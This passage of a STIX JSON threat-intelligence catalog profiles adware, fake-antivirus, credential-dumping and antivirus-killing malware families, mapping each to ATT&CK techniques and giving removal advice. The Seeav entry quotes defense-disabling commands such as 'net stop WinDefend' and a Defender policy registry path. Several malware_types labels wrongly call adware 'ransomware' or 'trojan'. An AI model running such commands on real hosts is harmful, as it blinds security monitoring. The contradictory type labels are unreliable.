Programs (PUPs), specifically targeting the persistent registry keys associated with the hijacker.</li>\n<li><strong>Remediation of Group Policies:</strong> IT staff must inspect the local Group Policy settings (specifically Chrome/Edge enterprise policies) to remove any entries that are force-installing the malicious extensions.</li>\n<li><strong>Browser Factory Reset:</strong> The most effective way to eradicate the hijacking components is to perform a complete factory reset of all installed web browsers, clearing all extensions, caches, and custom settings.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware.SearchProvide",
        "BrowserHijacker.SearchProvide",
        "PUP.SearchProvider"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Searchprovide",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/searchprovide"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7d1efb57-7770-5172-b781-8738f787cbcb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e69d7b71-02d8-5c44-b03b-1f5452252cee",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Searchprovide exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--27b529d7-f2a3-5750-bfda-654ba5714544",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e69d7b71-02d8-5c44-b03b-1f5452252cee",
      "target_ref": "attack-pattern--6fa87c46-0565-5b5a-889d-44254001e763",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Searchprovide exhibits technique T1185 (Browser Session Hijacking (Ad injection and tracking))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--73bfe912-1291-5959-8a9b-1019dd8b12e1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e69d7b71-02d8-5c44-b03b-1f5452252cee",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Searchprovide exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--3333a1e9-5f56-562d-9950-34526f85a620",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Searchsetter",
      "description": "<h3>Executive Summary</h3>\nSearchSetter is a prevalent family of Potentially Unwanted Programs (PUPs) and aggressive Browser Hijackers engineered to rapidly monetize an infected user's web browsing activity. It intercepts web traffic, forcefully alters core browser configurations across all major platforms, and injects intrusive advertisements, posing a significant threat to end-user privacy and degrading network performance.\n\n<h3>Distribution and Technical Behavior</h3>\nSearchSetter is almost exclusively distributed via deceptive software bundling. It is frequently hidden within \"free\" software installers, fake media players, or disguised as a necessary system utility downloaded from untrustworthy, third-party software portals.\n\nOnce executed, SearchSetter deeply integrates with the operating system and installed web browsers. Its core behaviors include:\n<ul>\n<li><strong>Browser Hijacking:</strong> SearchSetter alters the browser's default search engine, homepage, and new tab settings. All search traffic is redirected through an affiliate-linked search portal controlled by the adware operators to generate illicit ad revenue. It often achieves this by deploying persistent Group Policy objects or altering the browser's shortcut `.lnk` files.</li>\n<li><strong>Traffic Interception and Injection:</strong> The software frequently installs malicious browser extensions or a local proxy server to intercept unencrypted web traffic. It overlays legitimate websites with disruptive pop-ups, pop-unders, banner ads, and sponsored in-text hyperlinks.</li>\n<li><strong>Data Harvesting:</strong> It continuously tracks the user's browsing history, search queries, and clickstreams, transmitting this telemetry to remote servers to serve highly targeted advertisements.</li>\n</ul>\n\n<h3>Risk Assessment</h3>\nWhile SearchSetter does not actively encrypt files or steal banking credentials, it introduces massive operational friction. Furthermore, the injected advertisements and hijacked search results are frequently served by low-reputation ad networks, dramatically increasing the likelihood of \"malvertising\" attacks that can lead to severe secondary infections.\n\n<h3>Mitigation and Removal Strategies</h3>\n<ul>\n<li><strong>Endpoint Scanning:</strong> Utilize a reputable enterprise-grade anti-malware solution to perform a deep system scan, targeting the SearchSetter executables, hidden scheduled tasks, and persistent registry keys used to maintain its hold on the browser.</li>\n<li><strong>Browser Remediation:</strong> Manually inspect and remove any unknown or unauthorized extensions from all installed web browsers. Crucially, check all browser shortcut properties to ensure the target path has not been appended with a malicious URL. Perform a complete factory reset of the browsers.</li>\n<li><strong>Application Control:</strong> Enforce strict application whitelisting policies to prevent standard users from executing unapproved software installers that are the primary vector for this hijacker.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware.SearchSetter",
        "PUP.SearchSetter",
        "BrowserModifier:Win32/SearchSetter"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Searchsetter",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/searchsetter"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f7e5260f-6ddc-5568-978d-280b3282bd4a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3333a1e9-5f56-562d-9950-34526f85a620",
      "target_ref": "attack-pattern--95fcfa9c-4678-5a49-9758-2507908bd03c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Searchsetter exhibits technique T1566.002 (Phishing: Spearphishing Link (Social engineering to force the user to download the tool))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6a96f1c1-3252-536e-90e4-c69b6ae45b5e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3333a1e9-5f56-562d-9950-34526f85a620",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Searchsetter exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3f960f60-176e-5727-b37d-d7bf7ec4200d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3333a1e9-5f56-562d-9950-34526f85a620",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Searchsetter exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--370ab136-b71e-5ca2-8ecf-5b5f54e278da",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3333a1e9-5f56-562d-9950-34526f85a620",
      "target_ref": "attack-pattern--b772747b-96b9-52d0-8017-d1da4e3cc807",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Searchsetter exhibits technique T1547.009 (Boot or Logon Autostart Execution: Shortcut Modification (Altering browser shortcuts))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--9df30011-d05f-54e0-8223-4bbc77d84797",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Secucharge",
      "description": "<h3>Executive Summary</h3>\nSecuCharge is a classification for a category of Adware and Potentially Unwanted Programs (PUPs). Its primary objective is unauthorized monetization through the aggressive tracking of user web behavior and the injection of intrusive, highly targeted advertisements (such as pop-ups, pop-unders, and embedded banners) into the victim's web browser, severely degrading system performance and privacy.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nSecuCharge adware is almost exclusively distributed via software bundling (pay-per-install networks). Users typically install this threat inadvertently when downloading \"free\" utilities (like media players or PDF converters) from third-party download portals, failing to uncheck pre-selected boxes during the installation wizard.\n\nUpon execution, the software focuses on data collection and ad injection:\n<ul>\n<li><strong>Browser Integration:</strong> The adware installs persistent Browser Helper Objects (BHOs) or malicious extensions into major web browsers (Chrome, Firefox, Edge). It may also alter the browser's default homepage and search engine to route traffic through affiliate marketing portals.</li>\n<li><strong>Ad Injection and Overlay:</strong> SecuCharge significantly degrades the user experience by injecting its own advertisements into legitimate websites. It often overlays legitimate ads with its own, spawns new browser windows, or highlights random text on a page to create hyperlinked ads leading to dubious products or services.</li>\n<li><strong>Data Tracking:</strong> To serve targeted ads, the adware tracks the user's browsing history, search queries, and geographical location, transmitting this telemetry to third-party marketing servers without clear consent.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nWhile SecuCharge is not typically designed to destroy data like ransomware or steal banking credentials like an Info-stealer, it poses a severe privacy risk and significantly degrades system performance (causing browser crashes and high CPU usage). Furthermore, the aggressive ad networks utilized by these programs frequently serve \"malvertising,\" exposing the user to severe secondary infections.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Application Removal:</strong> The first step is to identify and uninstall the core adware application via the Windows Control Panel, looking for recently installed, suspicious \"free\" utilities or toolbars often bearing names related to \"Media,\" \"Search,\" or \"Deals.\"</li>\n<li><strong>Browser Reset:</strong> Because SecuCharge deeply alters browser configurations, the most effective remediation is a complete reset of all installed web browsers to their factory default settings, which automatically clears malicious extensions, BHOs, and tracking cookies.</li>\n<li><strong>Anti-Malware Sweep:</strong> Run a comprehensive scan using a reputable anti-malware solution specifically tuned to detect and remove Potentially Unwanted Programs (PUPs) and lingering registry keys left behind by the adware.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware.SecuCharge",
        "PUP.SecuCharge",
        "Win32/Adware.SecuCharge"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Secucharge",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/secucharge"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2257c030-c83d-5bb6-8929-c04ec4027491",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9df30011-d05f-54e0-8223-4bbc77d84797",
      "target_ref": "attack-pattern--6fa87c46-0565-5b5a-889d-44254001e763",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Secucharge exhibits technique T1185 (Browser Session Hijacking (Ad injection and tracking))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9823a73c-6460-54e1-a858-f9169ac4dbb7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9df30011-d05f-54e0-8223-4bbc77d84797",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Secucharge exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--39415a9d-0daa-525d-a951-0dea50751e16",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9df30011-d05f-54e0-8223-4bbc77d84797",
      "target_ref": "attack-pattern--c3628f86-de8f-507d-a3a8-73c0a63c90c4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Secucharge exhibits technique T1546.015 (Event Triggered Execution: Component Object Model Hijacking)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--e29ba8b6-8b50-59e7-9cac-a9ba05e33599",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Security",
      "description": "Rogue:Win32/Security (often seen as SecurityShield, SecurityTool, etc.) is a broad categorization for 'Rogueware' or Fake Antivirus software. These applications use highly deceptive social engineering tactics to trick users into believing their computer is heavily infected with malware, then demand payment (via credit card) to 'clean' the non-existent threats (`T1189`).<br><br><b>Understanding Security (Rogueware / Fake AV)</b><br>To an end-user, the infection is terrifying: their screen is bombarded with flashing red warnings, fake system scans claiming hundreds of infections, and pop-ups blocking them from opening legitimate applications (like Task Manager). For an IT department, Rogueware is a significant disruption that paralyzes user productivity, though it rarely steals data in the background like a traditional RAT.<br><br><b>Execution and Extortion Mechanics</b><br>Rogueware is typically delivered via malvertising ('Drive-by Compromise') or bundled with other software. Once executed, it aggressively establishes persistence (`T1547.001`) and often modifies the Windows Registry (specifically `Image File Execution Options` or `IFEO`) to prevent the user from launching `taskmgr.exe`, `regedit.exe`, or real antivirus software (`T1562.001`). It then displays constant, uncloseable full-screen alerts demanding payment, effectively locking the user out of their machine until they pay the 'license fee'.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is extreme user disruption and potential financial loss if the user pays the fake fee. Host-based IoCs include the presence of highly visible, fake security software UIs, modifications to the `IFEO` registry keys designed to block system utilities, and a barrage of fake system notifications. Network IoCs include connections to the payment gateways operated by the rogueware authors. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Security",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/security"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d7554862-ca17-58fb-8a02-c285e0f24369",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e29ba8b6-8b50-59e7-9cac-a9ba05e33599",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Security exhibits technique T1189 (Drive-by Compromise (The most common delivery method via fake 'You are infected' ads))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8cd9427f-1cd5-5693-818a-0d3075536977",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e29ba8b6-8b50-59e7-9cac-a9ba05e33599",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Security exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Blocking Task Manager and real AV to prevent removal))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7c011b2c-0685-5bbd-9bf4-28bf3a2b6128",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e29ba8b6-8b50-59e7-9cac-a9ba05e33599",
      "target_ref": "attack-pattern--c79f8b9c-f6e3-550e-85cc-41fb2ac75634",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Security exhibits technique T1491 (Defacement (Taking over the desktop with fake security warnings))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--27844948-e304-5411-b4c4-f1777e3caffe",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Securityshield",
      "description": "Rogueware:Win32/Securityshield is a highly visible, classic example of a 'Fake Antivirus' program. It operates entirely on a model of deception and extortion. Masquerading as a legitimate, high-end security suite designed to protect the computer, its actual function is to generate fabricated, alarming virus detection reports to scare the user into purchasing a 'premium' software license (`T1189`).<br><br><b>Understanding Securityshield (Fake AV)</b><br>To an end-user, the software creates immense anxiety, constantly displaying pop-ups warning that the computer is infected with dozens of severe Trojans and that data loss is imminent. For an IT department, Securityshield is a nuisance that generates false helpdesk tickets. The software itself is largely useless for security, and it frequently disables legitimate security tools (`T1562.001`) to maintain its illusion.<br><br><b>Execution and Deception Mechanics</b><br>Securityshield is heavily distributed via aggressive affiliate marketing, deceptive pop-up ads claiming the user's PC is infected (drive-by downloads), or bundled with freeware. Upon execution, it performs a rapid, animated 'scan' that is guaranteed to find thousands of 'viruses' (which are usually just temporary internet files or completely benign registry entries). It establishes persistence via Scheduled Tasks (`T1053.005`) to ensure its scary warnings appear every time the computer boots. It often disables the Windows Task Manager and legitimate AV services.<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is financial fraud (tricking the user into paying) and psychological manipulation. Host-based IoCs include the highly visible Securityshield GUI, unexpected Scheduled Tasks, and unauthorized modifications to system policies restricting access to administrative tools. Network IoCs include constant connections to the software vendor's payment gateways. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Securityshield",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/securityshield"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ea4adfaa-38ea-58a4-aeee-f2cd1e746158",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--27844948-e304-5411-b4c4-f1777e3caffe",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Securityshield exhibits technique T1189 (Drive-by Compromise (Distribution via deceptive pop-up ads and bundles))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c785e7f2-ae0d-5c2d-b89d-163566b65c9e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--27844948-e304-5411-b4c4-f1777e3caffe",
      "target_ref": "attack-pattern--9f854ac3-c197-5dbe-b964-50f8eeda8581",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Securityshield exhibits technique T1053.005 (Scheduled Task/Job: Scheduled Task (Ensuring the fake scanner runs constantly))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--426faa46-c2c1-51a1-b2a5-d02f5d74c703",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--27844948-e304-5411-b4c4-f1777e3caffe",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Securityshield exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Disabling taskmgr and real AV to prevent termination))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--bfce38d2-c947-5a47-a01e-c4dd446b38db",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Securityxploded",
      "description": "HackTool:Win32/Securityxploded refers to a detection for software distributed by the organization 'SecurityXploded'. While SecurityXploded develops legitimate security research and password recovery utilities, their tools are overwhelmingly classified as **HackTools** or **Credential Dumpers** by enterprise security vendors. This is because these tools are frequently downloaded and utilized by malicious actors (and insider threats) to harvest passwords stored locally on compromised endpoints.<br><br><b>Understanding Securityxploded (Credential Dumping)</b><br>To an end-user, these tools might legitimately be used to recover a forgotten Wi-Fi password or browser login. For an enterprise security team, the execution of a SecurityXploded tool on a corporate endpoint is a massive red flag. It indicates that someone (either an external attacker who has gained remote access, or a malicious insider) is actively attempting Privilege Escalation (`T1068`) or preparing for Lateral Movement by harvesting stored credentials (`T1003`).<br><br><b>Execution and Dumping Mechanics</b><br>The SecurityXploded suite contains dozens of specialized utilities (e.g., `BrowserPasswordDecryptor`, `WiFiPasswordDump`, `MailPasswordDecryptor`). Upon execution (`T1204.002`), these tools do not act like stealthy malware; they run openly. They operate by querying specific Windows APIs, reading sensitive files (like the Chrome `Login Data` SQLite database), or interacting with the Windows Data Protection API (DPAPI) and the Local Security Authority Subsystem Service (LSASS) to extract and decrypt stored passwords in cleartext (`T1003.001`, `T1555.003`).<br><br><b>Indicators of Compromise & Impact</b><br>The impact is the immediate compromise of local credentials, potentially leading to domain-wide compromise if the harvested account has administrative privileges. Host-based IoCs include EDR alerts for known SecurityXploded binaries, suspicious access to browser profile databases, or unusual interactions with LSASS memory. Because these are standalone executables, they are often dropped into temporary folders or executed directly from USB drives. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Securityxploded",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/securityxploded"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a4bfe281-a328-5d65-bc47-7b9fe0b7c1e2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bfce38d2-c947-5a47-a01e-c4dd446b38db",
      "target_ref": "attack-pattern--c1cad0be-7101-5b46-889b-71b19f414675",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Securityxploded exhibits technique T1003.001 (OS Credential Dumping: LSASS Memory)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--94046d94-4b2a-59d9-a670-4c066e23d57f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bfce38d2-c947-5a47-a01e-c4dd446b38db",
      "target_ref": "attack-pattern--87ff6f4d-2443-560e-9936-9f380887aee1",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Securityxploded exhibits technique T1555.003 (Credentials from Password Stores: Credentials from Web Browsers)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7782f7a5-bb82-58ac-ab68-6b26f9eeb938",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bfce38d2-c947-5a47-a01e-c4dd446b38db",
      "target_ref": "attack-pattern--ad44e68a-29e4-5d0a-8752-ef97772c6508",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Securityxploded exhibits technique T1555.004 (Credentials from Password Stores: Windows Credential Manager)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--86265afc-a3de-5b71-90ef-d86643a2b0e7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bfce38d2-c947-5a47-a01e-c4dd446b38db",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Securityxploded exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--5d95054b-1b9f-5a6a-a132-0eb7cd18e8dd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Seeav",
      "description": "Trojan:Win32/Seeav is a generic detection indicating that a malicious binary is actively attempting to Impair Defenses by seeking out and neutralizing the host's antivirus (AV) or Endpoint Detection and Response (EDR) software (`T1562.001`). This is not a standalone payload, but rather a precursor behavior\u2014the malware is 'clearing the room' before dropping a highly destructive payload like ransomware.<br><br><b>Understanding Seeav (Defense Evasion)</b><br>To an end-user, the Windows Security Center might suddenly display a red 'x', or the AV icon might disappear from the system tray. For a SOC analyst, a 'Seeav' detection is a critical, high-priority alert. It means an attacker has gained execution on a host and is currently engaged in a dogfight with your primary security controls.<br><br><b>Execution and Neutralization Mechanics</b><br>Malware exhibiting Seeav behavior uses several techniques to blind defenders. If it lacks administrative privileges, it might simply attempt to terminate the GUI processes of known AV vendors. If it has SYSTEM privileges, it is far more dangerous: it will attempt to stop AV services (e.g., `net stop WinDefend`), unload AV kernel drivers, or modify the Windows Registry to disable real-time protection (`HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender`). Advanced variants utilize 'Bring Your Own Vulnerable Driver' (BYOVD) techniques, dropping a legitimately signed (but vulnerable) driver to execute code in the kernel space specifically to kill EDR processes.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is the total blinding of security visibility on the endpoint. Host-based IoCs include EDR telemetry showing a process attempting to modify registry keys associated with Windows Defender or other AV products, or commands like `sc stop` targeting security services. Another strong IoC is the sudden, unexplained cessation of log ingestion from a specific endpoint to the SIEM. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Seeav",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/seeav"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--dc9a1adc-61f2-56a0-9bbd-5d5113872ed7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5d95054b-1b9f-5a6a-a132-0eb7cd18e8dd",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Seeav exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (The core behavior of shutting down AV/EDR))."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--15eed643-b223-5af4-85ce-369c5260e944",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1562.006: Impair Defenses: Indicator Blocking (Modifying host firewalls to block EDR telemetry)",
      "description": "MITRE ATT&CK Technique T1562.006 (Impair Defenses: Indicator Blocking (Modifying host firewalls to block EDR telemetry)) under tactic Defense Evasion.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1562.006",
          "url": "https://attack.mitre.org/techniques/T1562/006/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6695622b-a6cb-5034-a1c5-ae2cb00e8fa4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5d95054b-1b9f-5a6a-a132-0eb7cd18e8dd",
      "target_ref": "attack-pattern--15eed643-b223-5af4-85ce-369c5260e944",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Seeav exhibits technique T1562.006 (Impair Defenses: Indicator Blocking (Modifying host firewalls to block EDR telemetry))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8d21d90e-be7f-5765-ba0e-14e9bd7d30b0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5d95054b-1b9f-5a6a-a132-0eb7cd18e8dd",
      "target_ref": "attack-pattern--a3b1cbba-cac7-5f53-b134-6cfe2a13b053",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Seeav exhibits technique T1068 (Exploitation for Privilege Escalation (Often required to successfully stop kernel-level security tools))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--62bde8d0-97be-5755-8e67-7ffb2c320db1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Seed",
